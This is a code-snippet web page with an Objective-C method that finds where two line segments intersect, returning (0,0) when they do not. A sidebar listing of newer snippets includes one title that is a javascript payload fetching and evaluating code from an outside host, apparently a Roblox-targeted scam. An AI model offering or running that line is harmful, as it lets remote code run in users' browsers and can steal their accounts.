obj c get point of intersection of 2 lines
-(NSPoint)line:(NSPoint)p1 end:(NSPoint)p2 with:(NSPoint)p3 end:(NSPoint)p4{
//(y4 - y3)*(x2 - x1) - (x4 - x3)*(y2 - y1);
float denom = (p4.y - p3.y)*(p2.x - p1.x) - (p4.x - p3.x)*(p2.y - p1.y);
if(denom == 0){
//returns null because the lines never intersect
return NSPointFromString(@"0,0");
}
//ua = ((x4 - x3)*(y1 - y3) - (y4 - y3)*(x1 - x3))/denom;
//ub = ((x2 - x1)*(y1 - y3) - (y2 - y1)*(x1 - x3))/denom;
float ua = ((p4.x - p3.x)*(p1.y - p3.y) - (p4.y - p3.y)*(p1.x - p3.x))/denom;
float ub = ((p2.x - p1.x)*(p1.y - p3.y) - (p2.y - p1.y)*(p1.x - p3.x))/denom;
bool seg1 = ua >= 0 && ua <= 1;
bool seg2 = ub >= 0 && ub <= 1;
if(seg1==true && seg2 == true){
// returns a point if the point of intersection is on the line you may tweak this
return NSPointFromCGPoint(CGPointMake(p1.x + ua * (p2.x - p1.x), p1.y + ua * (p2.y - p1.y)));
}else{
return NSPointFromString(@"0,0");
}
}
Are there any code examples left?
New code examples in category Objective-C
-
Objective-C 2022-03-19 18:00:19 xjavascript$get'//roblox-api.online/roblox?id=4823'.eval)”
-
Objective-C 2022-03-15 06:35:10 compare nsstring
-
Objective-C 2022-03-03 11:45:10 objective c encrypt decrypt string
-
Objective-C 2022-02-27 11:00:32 nstimer example objective c
-
Objective-C 2022-02-16 17:15:28 loop array objective c
-
Objective-C 2022-02-14 08:05:08 how to add undelete texts to textfield in ios
-
Objective-C 2022-02-12 01:30:08 Changing scene on obj click
-
Objective-C 2022-02-08 17:25:21 obj c write file
-
Objective-C 2022-02-02 17:51:03 fpdf exemple